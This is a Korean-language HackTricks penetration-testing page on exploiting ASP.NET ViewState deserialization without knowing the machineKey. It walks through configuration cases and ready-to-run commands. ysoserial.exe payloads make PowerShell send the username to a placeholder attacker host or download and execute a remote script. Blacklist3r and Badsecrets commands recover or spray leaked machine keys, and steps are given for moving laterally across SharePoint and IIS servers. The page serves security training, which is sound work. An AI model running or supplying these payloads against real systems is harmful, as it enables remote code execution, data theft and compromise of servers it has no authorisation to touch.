__VIEWSTATE ๋น„๋ฐ€์„ ๋ชจ๋ฅด๋Š” ์ƒํƒœ์—์„œ ์•…์šฉํ•˜๊ธฐ

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

ViewState๋ž€ ๋ฌด์—‡์ธ๊ฐ€

ViewState๋Š” ASP.NET์—์„œ ํŽ˜์ด์ง€์™€ ์ปจํŠธ๋กค ๋ฐ์ดํ„ฐ๋ฅผ ์›น ํŽ˜์ด์ง€ ๊ฐ„์— ์œ ์ง€ํ•˜๋Š” ๊ธฐ๋ณธ ๋ฉ”์ปค๋‹ˆ์ฆ˜์ž…๋‹ˆ๋‹ค. ํŽ˜์ด์ง€์˜ HTML์„ ๋ Œ๋”๋งํ•˜๋Š” ๋™์•ˆ, ํ˜„์žฌ ํŽ˜์ด์ง€ ์ƒํƒœ์™€ postback ์‹œ ๋ณด์กดํ•ด์•ผ ํ•  ๊ฐ’๋“ค์ด ์ง๋ ฌํ™”๋˜์–ด base64๋กœ ์ธ์ฝ”๋”ฉ๋œ ๋ฌธ์ž์—ด๋กœ ๋ณ€ํ™˜๋ฉ๋‹ˆ๋‹ค. ์ด ๋ฌธ์ž์—ด๋“ค์€ ์ˆจ๊ฒจ์ง„ ViewState ํ•„๋“œ์— ์ €์žฅ๋ฉ๋‹ˆ๋‹ค.

ViewState ์ •๋ณด๋Š” ๋‹ค์Œ ์†์„ฑ ๋˜๋Š” ์ด๋“ค์˜ ์กฐํ•ฉ์œผ๋กœ ๊ตฌ๋ถ„ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

  • Base64:
    • EnableViewStateMac ๋ฐ ViewStateEncryptionMode ์†์„ฑ์ด ๋ชจ๋‘ false๋กœ ์„ค์ •๋œ ๊ฒฝ์šฐ ์‚ฌ์šฉ๋˜๋Š” ํ˜•์‹์ž…๋‹ˆ๋‹ค.
  • Base64 + MAC (๋ฉ”์‹œ์ง€ ์ธ์ฆ ์ฝ”๋“œ) ํ™œ์„ฑํ™”:
    • MAC ํ™œ์„ฑํ™”๋Š” EnableViewStateMac ์†์„ฑ์„ true๋กœ ์„ค์ •ํ•˜์—ฌ ์ด๋ฃจ์–ด์ง‘๋‹ˆ๋‹ค. ์ด๋Š” ViewState ๋ฐ์ดํ„ฐ์˜ ๋ฌด๊ฒฐ์„ฑ ๊ฒ€์ฆ์„ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค.
  • Base64 + ์•”ํ˜ธํ™”:
    • ViewStateEncryptionMode ์†์„ฑ์ด true๋กœ ์„ค์ •๋˜๋ฉด ์•”ํ˜ธํ™”๊ฐ€ ์ ์šฉ๋˜์–ด ViewState ๋ฐ์ดํ„ฐ์˜ ๊ธฐ๋ฐ€์„ฑ์ด ๋ณด์žฅ๋ฉ๋‹ˆ๋‹ค.

ํ…Œ์ŠคํŠธ ์ผ€์ด์Šค

์ด๋ฏธ์ง€๋Š” .NET ํ”„๋ ˆ์ž„์›Œํฌ ๋ฒ„์ „์— ๋”ฐ๋ผ ASP.NET์—์„œ ViewState์— ๋Œ€ํ•œ ๋‹ค์–‘ํ•œ ๊ตฌ์„ฑ๋“ค์„ ์ž์„ธํžˆ ๋ณด์—ฌ์ฃผ๋Š” ํ‘œ์ž…๋‹ˆ๋‹ค. ๋‚ด์šฉ ์š”์•ฝ์€ ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค:

  1. any version of .NET์˜ ๊ฒฝ์šฐ, MAC๊ณผ Encryption์ด ๋ชจ๋‘ ๋น„ํ™œ์„ฑํ™”๋˜์–ด ์žˆ์œผ๋ฉด MachineKey๊ฐ€ ํ•„์š”ํ•˜์ง€ ์•Š์œผ๋ฏ€๋กœ ์ด๋ฅผ ์‹๋ณ„ํ•  ๋ฐฉ๋ฒ•์ด ์ ์šฉ๋˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค.
  2. versions below 4.5์—์„œ๋Š” MAC์ด ํ™œ์„ฑํ™”๋˜์–ด ์žˆ๊ณ  Encryption์ด ๋น„ํ™œ์„ฑํ™”๋œ ๊ฒฝ์šฐ MachineKey๊ฐ€ ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค. MachineKey๋ฅผ ์‹๋ณ„ํ•˜๋Š” ๋ฐฉ๋ฒ•์€ โ€œBlacklist3rโ€œ๋กœ ์–ธ๊ธ‰๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค.
  3. versions below 4.5์—์„œ๋Š” MAC ํ™œ์„ฑํ™” ์—ฌ๋ถ€์™€ ์ƒ๊ด€์—†์ด Encryption์ด ํ™œ์„ฑํ™”๋œ ๊ฒฝ์šฐ MachineKey๊ฐ€ ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค. MachineKey ์‹๋ณ„์€ โ€œBlacklist3r - Future Developmentโ€ ๊ณผ์ œ๋กœ ํ‘œ๊ธฐ๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค.
  4. versions 4.5 and above์—์„œ๋Š” MAC๊ณผ Encryption์˜ ๋ชจ๋“  ์กฐํ•ฉ(๋‘˜ ๋‹ค true์ด๊ฑฐ๋‚˜, ํ•˜๋‚˜๋งŒ true์ธ ๊ฒฝ์šฐ ๋“ฑ)์— ๋Œ€ํ•ด MachineKey๊ฐ€ ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค. MachineKey๋Š” โ€œBlacklist3rโ€œ์„ ์‚ฌ์šฉํ•ด ์‹๋ณ„ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

ํ…Œ์ŠคํŠธ ์ผ€์ด์Šค: 1 โ€“ EnableViewStateMac=false and viewStateEncryptionMode=false

AspNetEnforceViewStateMac ๋ ˆ์ง€์ŠคํŠธ๋ฆฌ ํ‚ค๋ฅผ ๋‹ค์Œ ์œ„์น˜์— 0์œผ๋กœ ์„ค์ •ํ•˜๋ฉด ViewStateMAC์„ ์™„์ „ํžˆ ๋น„ํ™œ์„ฑํ™”ํ•  ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere}

ViewState ์†์„ฑ ์‹๋ณ„

์ด ๋งค๊ฐœ๋ณ€์ˆ˜๋ฅผ ํฌํ•จํ•œ ์š”์ฒญ์„ BurpSuite๋กœ ์บก์ฒ˜ํ•˜์—ฌ ViewState๊ฐ€ MAC์œผ๋กœ ๋ณดํ˜ธ๋˜๋Š”์ง€ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. MAC์ด ๋งค๊ฐœ๋ณ€์ˆ˜ ๋ณดํ˜ธ์— ์‚ฌ์šฉ๋˜์ง€ ์•Š์•˜๋‹ค๋ฉด YSoSerial.Net์„ ์‚ฌ์šฉํ•˜์—ฌ ์•…์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName"

Test case 1.5 โ€“ Test case 1๊ณผ ์œ ์‚ฌํ•˜์ง€๋งŒ ViewState cookie๊ฐ€ ์„œ๋ฒ„์—์„œ ์ „์†ก๋˜์ง€ ์•Š๋Š” ๊ฒฝ์šฐ

๊ฐœ๋ฐœ์ž๋Š” ViewState๋ฅผ ์ œ๊ฑฐํ•˜์—ฌ HTTP Request์˜ ์ผ๋ถ€๊ฐ€ ๋˜์ง€ ์•Š๋„๋ก ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค (์‚ฌ์šฉ์ž๋Š” ์ด cookie๋ฅผ ๋ฐ›์ง€ ์•Š์Šต๋‹ˆ๋‹ค).
์ผ๋ถ€๋Š” ViewState๊ฐ€ ์กด์žฌํ•˜์ง€ ์•Š๋Š” ๊ฒฝ์šฐ, ViewState ์—ญ์ง๋ ฌํ™”์—์„œ ๋ฐœ์ƒํ•  ์ˆ˜ ์žˆ๋Š” ์ž ์žฌ์  ์ทจ์•ฝ์ ์œผ๋กœ๋ถ€ํ„ฐ ๊ตฌํ˜„์ด ์•ˆ์ „ํ•˜๋‹ค๊ณ  ๊ฐ€์ •ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
ํ•˜์ง€๋งŒ ๊ทธ๋ ‡์ง€ ์•Š์Šต๋‹ˆ๋‹ค. ์š”์ฒญ ๋ณธ๋ฌธ์— ViewState parameter๋ฅผ ์ถ”๊ฐ€ํ•˜๊ณ  ysoserial๋กœ ์ƒ์„ฑํ•œ ์ง๋ ฌํ™”๋œ payload๋ฅผ ๋ณด๋‚ด๋ฉด, Case 1์—์„œ ๋ณด์ธ ๊ฒƒ์ฒ˜๋Ÿผ ์—ฌ์ „ํžˆ code execution์„ ๋‹ฌ์„ฑํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Test Case: 2 โ€“ .Net < 4.5 and EnableViewStateMac=true & ViewStateEncryptionMode=false

ํŠน์ • ํŽ˜์ด์ง€์— ๋Œ€ํ•ด ViewState MAC๋ฅผ ํ™œ์„ฑํ™”ํ•˜๋ ค๋ฉด ํŠน์ • aspx ํŒŒ์ผ์—์„œ ๋‹ค์Œ ๋ณ€๊ฒฝ์„ ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค:

<%@ Page Language="C#" AutoEventWireup="true" CodeFile="hello.aspx.cs" Inherits="hello" enableViewStateMac="True"%>

์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ์ „์ฒด์— ๋Œ€ํ•ด์„œ๋„ ๋‹ค์Œ๊ณผ ๊ฐ™์ด web.config ํŒŒ์ผ์— ์„ค์ •ํ•˜์—ฌ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.web>
<customErrors mode="Off" />
<machineKey validation="SHA1" validationKey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45" />
<pages enableViewStateMac="true" />
</system.web>
</configuration>

์ด๋ฒˆ์—๋Š” ํŒŒ๋ผ๋ฏธํ„ฐ๊ฐ€ MAC์œผ๋กœ ๋ณดํ˜ธ๋˜์–ด ์žˆ์œผ๋ฏ€๋กœ ๊ณต๊ฒฉ์„ ์„ฑ๊ณต์ ์œผ๋กœ ์‹คํ–‰ํ•˜๋ ค๋ฉด ๋จผ์ € ์‚ฌ์šฉ๋œ ํ‚ค๊ฐ€ ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค.

์‚ฌ์šฉ๋œ ํ‚ค๋ฅผ ์ฐพ๊ธฐ ์œ„ํ•ด Blacklist3r(AspDotNetWrapper.exe) ๋ฅผ ์‚ฌ์šฉํ•ด ๋ณผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs= --decrypt --purpose=viewstate --modifier=6811C9FF --macdecode --TargetPagePath "/Savings-and-Investments/Application/ContactDetails.aspx" -f out.txt --IISDirPath="/"

--encrypteddata : __VIEWSTATE parameter value of the target application
--modifier : __VIWESTATEGENERATOR parameter value

Badsecrets๋Š” ์•Œ๋ ค์ง„ machineKeys๋ฅผ ์‹๋ณ„ํ•  ์ˆ˜ ์žˆ๋Š” ๋˜ ๋‹ค๋ฅธ ๋„๊ตฌ์ž…๋‹ˆ๋‹ค. ์ด๋Š” Python์œผ๋กœ ์ž‘์„ฑ๋˜์–ด ์žˆ์–ด Blacklist3r์™€ ๋‹ฌ๋ฆฌ Windows ์ข…์†์„ฑ์ด ์—†์Šต๋‹ˆ๋‹ค. .NET viewstates์˜ ๊ฒฝ์šฐ โ€œpython blacklist3rโ€ ์œ ํ‹ธ๋ฆฌํ‹ฐ๊ฐ€ ์žˆ์œผ๋ฉฐ, ์ด๊ฒƒ์ด ์‚ฌ์šฉํ•˜๊ธฐ์— ๊ฐ€์žฅ ๋น ๋ฅธ ๋ฐฉ๋ฒ•์ž…๋‹ˆ๋‹ค.

viewstate์™€ generator๋ฅผ ์ง์ ‘ ์ œ๊ณตํ•  ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค:

pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/blacklist3r.py --viewstate /wEPDwUJODExMDE5NzY5ZGQMKS6jehX5HkJgXxrPh09vumNTKQ== --generator EDD8C9AE

https://user-images.githubusercontent.com/24899338/227034640-662b6aad-f8b9-49e4-9a6b-62a5f6ae2d60.png

๋˜๋Š” ๋Œ€์ƒ URL์— ์ง์ ‘ ์—ฐ๊ฒฐํ•˜์—ฌ HTML์—์„œ viewstate๋ฅผ ์ถ”์ถœํ•ด ๋ณด๋ ค๊ณ  ์‹œ๋„ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/blacklist3r.py --url http://vulnerablesite/vulnerablepage.aspx

https://user-images.githubusercontent.com/24899338/227034654-e8ad9648-6c0e-47cb-a873-bf97623a0089.png

๋Œ€๊ทœ๋ชจ๋กœ ์ทจ์•ฝํ•œ viewstates๋ฅผ ์ฐพ๊ธฐ ์œ„ํ•ด, subdomain enumeration๊ณผ ํ•จ๊ป˜ badsecrets BBOT ๋ชจ๋“ˆ์„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

bbot -f subdomain-enum -m badsecrets -t evil.corp

https://user-images.githubusercontent.com/24899338/227028780-950d067a-4a01-481f-8e11-41fabed1943a.png

์šด์ด ์ข‹๊ฒŒ ํ‚ค๋ฅผ ์ฐพ์œผ๋ฉด YSoSerial.Net: ๋ฅผ ์‚ฌ์šฉํ•ด ๊ณต๊ฒฉ์„ ์ง„ํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --generator=CA0B0334 --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"

--generator = {__VIWESTATEGENERATOR parameter value}

์„œ๋ฒ„์—์„œ _VIEWSTATEGENERATOR ํŒŒ๋ผ๋ฏธํ„ฐ๊ฐ€ ์ „์†ก๋˜์ง€ ์•Š๋Š” ๊ฒฝ์šฐ --generator ํŒŒ๋ผ๋ฏธํ„ฐ๋ฅผ ์ œ๊ณตํ•  ํ•„์š”๊ฐ€ ์—†์Šต๋‹ˆ๋‹ค, ํ•˜์ง€๋งŒ ๋‹ค์Œ ํ•ญ๋ชฉ๋“ค:

--apppath="/" --path="/hello.aspx"

๋Œ€๊ทœ๋ชจ๋กœ ์žฌํ™œ์šฉ๋œ <machineKey> ๊ฐ’ ์•…์šฉ

Ink Dragon (2025)์€ ๊ด€๋ฆฌ์ž๊ฐ€ Microsoft ๋ฌธ์„œ, StackOverflow ๋‹ต๋ณ€ ๋˜๋Š” ๋ฒค๋” ๋ธ”๋กœ๊ทธ์— ๊ฒŒ์‹œ๋œ ์ƒ˜ํ”Œ <machineKey> ๋ธ”๋ก์„ ๋ณต์‚ฌํ•  ๋•Œ ์–ผ๋งˆ๋‚˜ ์œ„ํ—˜ํ•œ์ง€๋ฅผ ๋ณด์—ฌ์ฃผ์—ˆ๋‹ค. ๋‹จ์ผ ๋Œ€์ƒ์ด ํ•ด๋‹น ํ‚ค๋ฅผ leaksํ•˜๊ฑฐ๋‚˜ ํŒœ ์ „์ฒด์—์„œ ์žฌ์‚ฌ์šฉํ•˜๋ฉด, ViewState๋ฅผ ์‹ ๋ขฐํ•˜๋Š” ๋‹ค๋ฅธ ๋ชจ๋“  ASP.NET ํŽ˜์ด์ง€๋Š” ์ถ”๊ฐ€ ์ทจ์•ฝ์  ์—†์ด ์›๊ฒฉ์œผ๋กœ ํƒˆ์ทจ๋  ์ˆ˜ ์žˆ๋‹ค.

  1. ์œ ๋ ฅํ•œ ํ›„๋ณด ๋‹จ์–ด ๋ชฉ๋ก(candidate wordlist)์„ ๊ตฌ์„ฑํ•˜๋˜ leaked validationKey/decryptionKey ์Œ์„ ์‚ฌ์šฉํ•œ๋‹ค(์˜ˆ: ๊ณต๊ฐœ ์ €์žฅ์†Œ, Microsoft ๋ธ”๋กœ๊ทธ ๊ฒŒ์‹œ๋ฌผ ๋˜๋Š” ํŒœ์˜ ํ•œ ํ˜ธ์ŠคํŠธ์—์„œ ๋ณต๊ตฌ๋œ ํ‚ค๋ฅผ ์Šคํฌ๋žฉ) ๊ทธ๋ฆฌ๊ณ  ์ด๋ฅผ Blacklist3r/Badsecrets์— ๊ณต๊ธ‰ํ•œ๋‹ค:
AspDotNetWrapper.exe --keypath reused_machinekeys.txt --url https://target/_layouts/15/ToolPane.aspx --decrypt --purpose=viewstate --modifier=<VIEWSTATEGENERATOR>
# or let Badsecrets spray the list
bbot -f subdomain-enum -m badsecrets --badsecrets-keylist reused_machinekeys.txt -t sharepoint.customer.tld

๋„๊ตฌ๋Š” ๊ฐ ํ›„๋ณด ํ‚ค๋กœ ์ •์ƒ์ ์ธ __VIEWSTATE ๋ธ”๋กญ์— ๋ฐ˜๋ณต์ ์œผ๋กœ ์„œ๋ช…ํ•˜์—ฌ ์„œ๋ฒ„๊ฐ€ MAC์„ ์ˆ˜๋ฝํ•  ๋•Œ๊นŒ์ง€ ์‹œ๋„ํ•˜๋ฉฐ, ์ด๋Š” ํ•ด๋‹น ํ‚ค๊ฐ€ ์œ ํšจํ•จ์„ ์ฆ๋ช…ํ•œ๋‹ค. 2. ํ‚ค ์Œ์„ ์•Œ๊ฒŒ ๋˜๋ฉด ์•…์„ฑ ViewState๋ฅผ ์œ„์กฐํ•˜๋ผ. ์•”ํ˜ธํ™”๊ฐ€ ๋น„ํ™œ์„ฑํ™”๋œ ๊ฒฝ์šฐ validationKey๋งŒ ํ•„์š”ํ•˜๋‹ค. ์•”ํ˜ธํ™”๊ฐ€ ํ™œ์„ฑํ™”๋œ ๊ฒฝ์šฐ์—๋Š” ์ผ์น˜ํ•˜๋Š” decryptionKey๋ฅผ ํฌํ•จ์‹œ์ผœ ํŽ˜์ด๋กœ๋“œ๊ฐ€ decrypt โ†’ deserialize ๊ฒฝ๋กœ๋ฅผ ํ†ต๊ณผํ•˜๋„๋ก ํ•ด์•ผ ํ•œ๋‹ค:

ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell -c iwr http://x.x.x.x/a.ps1|iex" \
--validationkey "$VALIDATION" --decryptionkey "$DECRYPTION" --validationalg="SHA1" --generator=<VIEWSTATEGENERATOR>

์šด์˜์ž๋“ค์€ ํŽ˜์ด๋กœ๋“œ๊ฐ€ IIS ์›Œ์ปค(w3wp.exe)๋กœ ์‹คํ–‰๋˜๊ธฐ ๋•Œ๋ฌธ์— ์ข…์ข… PrintNotifyPotato, ShadowPad ๋กœ๋” ๋“ฑ๊ณผ ๊ฐ™์€ ๋””์Šคํฌ ์ƒ์˜ ๋Ÿฐ์ฒ˜๋ฅผ ํŽ˜์ด๋กœ๋“œ์— ์ง์ ‘ ํฌํ•จ์‹œํ‚จ๋‹ค. 3. ๋™์ผํ•œ <machineKey>๋ฅผ ํ˜•์ œ SharePoint/IIS ๋…ธ๋“œ์— ์žฌ์‚ฌ์šฉํ•˜์—ฌ ์ธก๋ฉด ์ด๋™ํ•˜๋ผ. ํ•œ ์„œ๋ฒ„๊ฐ€ ์นจํ•ด๋˜๋ฉด ๊ตฌ์„ฑ(๋˜๋Š” ํ‚ค)์„ ํšŒ์ „์‹œํ‚จ ์ ์ด ์—†๋Š” ๋‹ค๋ฅธ ๋ชจ๋“  ์„œ๋ฒ„์— ๊ทธ ํ‚ค๋ฅผ ์žฌ์‚ฌ์šฉํ•˜์—ฌ ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋‹ค.

Test Case: 3 โ€“ .Net < 4.5 ๋ฐ EnableViewStateMac=true/false ๋ฐ ViewStateEncryptionMode=true

์—ฌ๊ธฐ์„œ๋Š” ํ•ด๋‹น ํŒŒ๋ผ๋ฏธํ„ฐ๊ฐ€ MAC์œผ๋กœ ๋ณดํ˜ธ๋˜๋Š”์ง€ ์•Œ ์ˆ˜ ์—†๋‹ค. ์ด ๊ฒฝ์šฐ ๊ฐ’์€ ์•„๋งˆ ์•”ํ˜ธํ™”๋˜์–ด ์žˆ์œผ๋ฉฐ ์ทจ์•ฝ์ ์„ ์•…์šฉํ•˜๋ ค๋ฉด ํŽ˜์ด๋กœ๋“œ๋ฅผ ์•”ํ˜ธํ™”ํ•˜๊ธฐ ์œ„ํ•ด Machine Key๊ฐ€ ํ•„์š”ํ•˜๋‹ค.

In this case the Blacklist3r module is under developmentโ€ฆ

Prior to .NET 4.5, ASP.NET์€ **ViewState**๊ฐ€ _Always_๋กœ ์„ค์ •๋˜์–ด ์žˆ๋”๋ผ๋„ ์‚ฌ์šฉ์ž๋กœ๋ถ€ํ„ฐ์˜ ์•”ํ˜ธํ™”๋˜์ง€ ์•Š์€(unencrypted) ___VIEWSTATE_ ํŒŒ๋ผ๋ฏธํ„ฐ๋ฅผ ์ˆ˜๋ฝํ•  ์ˆ˜ ์žˆ๋‹ค. ASP.NET์€ ์š”์ฒญ์—์„œ __VIEWSTATEENCRYPTED ํŒŒ๋ผ๋ฏธํ„ฐ์˜ **์กด์žฌ(presence)**๋งŒ ํ™•์ธํ•œ๋‹ค. ์ด ํŒŒ๋ผ๋ฏธํ„ฐ๋ฅผ ์ œ๊ฑฐํ•˜๊ณ  ์•”ํ˜ธํ™”๋˜์ง€ ์•Š์€ ํŽ˜์ด๋กœ๋“œ๋ฅผ ์ „์†กํ•˜๋ฉด, ์—ฌ์ „ํžˆ ์ฒ˜๋ฆฌ๋œ๋‹ค.

๋”ฐ๋ผ์„œ ๊ณต๊ฒฉ์ž๊ฐ€ file traversal ๊ฐ™์€ ๋‹ค๋ฅธ vuln์„ ํ†ตํ•ด Machinekey๋ฅผ ํš๋“ํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด, Case 2์—์„œ ์‚ฌ์šฉ๋œ YSoSerial.Net ๋ช…๋ น์„ ์‚ฌ์šฉํ•˜์—ฌ ViewState deserialization ์ทจ์•ฝ์ ์„ ํ†ตํ•ด RCE๋ฅผ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ๋‹ค.

  • ViewState deserialization ์ทจ์•ฝ์ ์„ ์•…์šฉํ•˜๋ ค๋ฉด ์š”์ฒญ์—์„œ __VIEWSTATEENCRYPTED ํŒŒ๋ผ๋ฏธํ„ฐ๋ฅผ ์ œ๊ฑฐํ•˜๋ผ. ๊ทธ๋ ‡์ง€ ์•Š์œผ๋ฉด ViewState MAC ๊ฒ€์ฆ ์˜ค๋ฅ˜๋ฅผ ๋ฐ˜ํ™˜ํ•˜์—ฌ ์ต์Šคํ”Œ๋กœ์ž‡์ด ์‹คํŒจํ•œ๋‹ค.

Test Case: 4 โ€“ .Net >= 4.5 ๋ฐ EnableViewStateMac=true/false ๋ฐ ViewStateEncryptionMode=true/false (๋‹จ, ๋‘ ์†์„ฑ์ด ๋ชจ๋‘ false์ธ ๊ฒฝ์šฐ๋Š” ์ œ์™ธ)

์•„๋ž˜์™€ ๊ฐ™์ด web.config ํŒŒ์ผ ๋‚ด๋ถ€์— ๋‹ค์Œ ํŒŒ๋ผ๋ฏธํ„ฐ๋ฅผ ์ง€์ •ํ•˜์—ฌ ASP.NET ํ”„๋ ˆ์ž„์›Œํฌ์˜ ์‚ฌ์šฉ์„ ๊ฐ•์ œํ•  ์ˆ˜ ์žˆ๋‹ค.

<httpRuntime targetFramework="4.5" />

๋˜๋Š” web.config ํŒŒ์ผ์˜ machineKey ๋งค๊ฐœ๋ณ€์ˆ˜ ์•ˆ์— ์•„๋ž˜ ์˜ต์…˜์„ ์ง€์ •ํ•˜์—ฌ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

compatibilityMode="Framework45"

์•ž์˜ ๊ฒฝ์šฐ์™€ ๋งˆ์ฐฌ๊ฐ€์ง€๋กœ ๊ฐ’์€ ์•”ํ˜ธํ™”๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ ๊ณต๊ฒฉ์ž๊ฐ€ ์œ ํšจํ•œ payload๋ฅผ ์ „์†กํ•˜๋ ค๋ฉด ํ‚ค๊ฐ€ ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค.

์‚ฌ์šฉ ์ค‘์ธ ํ‚ค๋ฅผ ์ฐพ๊ธฐ ์œ„ํ•ด Blacklist3r(AspDotNetWrapper.exe) ์„ ์‚ฌ์šฉํ•ด ๋ณผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata bcZW2sn9CbYxU47LwhBs1fyLvTQu6BktfcwTicOfagaKXho90yGLlA0HrdGOH6x/SUsjRGY0CCpvgM2uR3ba1s6humGhHFyr/gz+EP0fbrlBEAFOrq5S8vMknE/ZQ/8NNyWLwg== --decrypt --purpose=viewstate  --valalgo=sha1 --decalgo=aes --IISDirPath "/" --TargetPagePath "/Content/default.aspx"

--encrypteddata = {__VIEWSTATE parameter value}
--IISDirPath = {Directory path of website in IIS}
--TargetPagePath = {Target page path in application}

๋” ์ž์„ธํ•œ ์„ค๋ช…์€ IISDirPath์™€ TargetPagePath์— ๋Œ€ํ•ด์„œ๋Š” refer here

๋˜๋Š”, Badsecrets (generator ๊ฐ’์„ ์‚ฌ์šฉ):

cd badsecrets
python examples/blacklist3r.py --viewstate JLFYOOegbdXmPjQou22oT2IxUwCAzSA9EAxD6+305e/4MQG7G1v5GI3wL7D94W2OGpVGrI2LCqEwDoS/8JkE0rR4ak0= --generator B2774415

https://user-images.githubusercontent.com/24899338/227043316-13f0488f-5326-46cc-9604-404b908ebd7b.png

์œ ํšจํ•œ Machine key๊ฐ€ ํ™•์ธ๋˜๋ฉด, ๋‹ค์Œ ๋‹จ๊ณ„๋Š” ์ง๋ ฌํ™”๋œ ํŽ˜์ด๋กœ๋“œ๋ฅผ ์ƒ์„ฑํ•˜๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค YSoSerial.Net

ysoserial.exe -p ViewState  -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --path="/content/default.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="F6722806843145965513817CEBDECBB1F94808E4A6C0B2F2"  --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"

__VIEWSTATEGENERATOR ๊ฐ’์„ ์•Œ๊ณ  ์žˆ๋‹ค๋ฉด ํ•ด๋‹น ๊ฐ’์„ ์‚ฌ์šฉํ•˜์—ฌ --generator ํŒŒ๋ผ๋ฏธํ„ฐ๋ฅผ ์‚ฌ์šฉํ•˜๊ณ  --path ๋ฐ --apppath ํŒŒ๋ผ๋ฏธํ„ฐ๋ฅผ ์ƒ๋žตํ•ด ๋ณผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

ViewState deserialization ์ทจ์•ฝ์ ์„ ์„ฑ๊ณต์ ์œผ๋กœ ์•…์šฉํ•˜๋ฉด ๊ณต๊ฒฉ์ž ์ œ์–ด ์„œ๋ฒ„๋กœ ์‚ฌ์šฉ์ž ์ด๋ฆ„์„ ํฌํ•จํ•œ out-of-band ์š”์ฒญ์ด ์ „์†ก๋ฉ๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ์œ ํ˜•์˜ ์ต์Šคํ”Œ๋กœ์ž‡์€ โ€œExploiting ViewState Deserialization using Blacklist3r and YsoSerial.NETโ€œ๋ผ๋Š” ์ž๋ฃŒ์—์„œ ์‹œ์—ฐ๋˜๋Š” proof of concept (PoC)์œผ๋กœ ์„ค๋ช…๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค. ์ต์Šคํ”Œ๋กœ์ž‡ ๊ณผ์ •์˜ ๋™์ž‘ ๋ฐฉ์‹๊ณผ MachineKey ์‹๋ณ„์„ ์œ„ํ•ด Blacklist3r ๊ฐ™์€ ๋„๊ตฌ์˜ ์‚ฌ์šฉ ๋ฐฉ๋ฒ•์— ๋Œ€ํ•œ ์ž์„ธํ•œ ๋‚ด์šฉ์€ ์ œ๊ณต๋œ PoC of Successful Exploitation๋ฅผ ์ฐธ์กฐํ•˜์„ธ์š”.

